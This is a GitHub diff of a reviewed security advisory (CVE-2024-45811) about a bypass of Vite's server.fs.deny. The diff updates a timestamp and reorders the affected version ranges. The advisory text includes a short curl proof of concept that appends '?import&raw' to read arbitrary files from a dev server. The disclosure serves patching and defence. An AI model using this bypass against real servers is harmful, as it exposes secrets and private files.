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[GHSA-9cwx-2883-4wfx] Vite's server.fs.deny is bypassed when using ?import&raw #6551

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[GHSA-9cwx-2883-4wfx] Vite's server.fs.deny is bypassed when using ?import&raw #6551

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30 changes: 13 additions & 17 deletions advisories/github-reviewed/2024/09/GHSA-9cwx-2883-4wfx/GHSA-9cwx-2883-4wfx.json
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Original file line number Diff line number Diff line change
@@ -1,18 +1,14 @@
{
"schema_version": "1.4.0",
"id": "GHSA-9cwx-2883-4wfx",
"modified": "2024-09-19T18:34:32Z",
"modified": "2024-09-19T18:34:34Z",
"published": "2024-09-17T18:44:12Z",
"aliases": [
"CVE-2024-45811"
],
"summary": "Vite's `server.fs.deny` is bypassed when using `?import&raw`",
"details": "### Summary\nThe contents of arbitrary files can be returned to the browser.\n\n### Details\n`@fs` denies access to files outside of Vite serving allow list. Adding `?import&raw` to the URL bypasses this limitation and returns the file content if it exists.\n\n### PoC\n```sh\n$ npm create vite@latest\n$ cd vite-project/\n$ npm install\n$ npm run dev\n\n$ echo \"top secret content\" > /tmp/secret.txt\n\n# expected behaviour\n$ curl \"http://localhost:5173/@fs/tmp/secret.txt\"\n\n <body>\n <h1>403 Restricted</h1>\n <p>The request url &quot;/tmp/secret.txt&quot; is outside of Vite serving allow list.\n\n# security bypassed\n$ curl \"http://localhost:5173/@fs/tmp/secret.txt?import&raw\"\nexport default \"top secret content\\n\"\n//# sourceMappingURL=data:application/json;base64,eyJ2...\n```\n\n",
"severity": [
{
"type": "CVSS_V3",
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N"
},
{
"type": "CVSS_V4",
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N"
Expand Down Expand Up @@ -73,14 +69,17 @@
"type": "ECOSYSTEM",
"events": [
{
"introduced": "5.2.0"
"introduced": "4.0.0"
},
{
"fixed": "5.2.14"
"fixed": "4.5.4"
}
]
}
]
],
"database_specific": {
"last_known_affected_version_range": "<= 4.5.3"
}
},
{
"package": {
Expand All @@ -92,16 +91,16 @@
"type": "ECOSYSTEM",
"events": [
{
"introduced": "4.0.0"
"introduced": "0"
},
{
"fixed": "4.5.4"
"fixed": "3.2.11"
}
]
}
],
"database_specific": {
"last_known_affected_version_range": "<= 4.5.3"
"last_known_affected_version_range": "<= 3.2.10"
}
},
{
Expand All @@ -114,17 +113,14 @@
"type": "ECOSYSTEM",
"events": [
{
"introduced": "0"
"introduced": "5.2.0"
},
{
"fixed": "3.2.11"
"fixed": "5.2.14"
}
]
}
],
"database_specific": {
"last_known_affected_version_range": "<= 3.2.10"
}
]
},
{
"package": {
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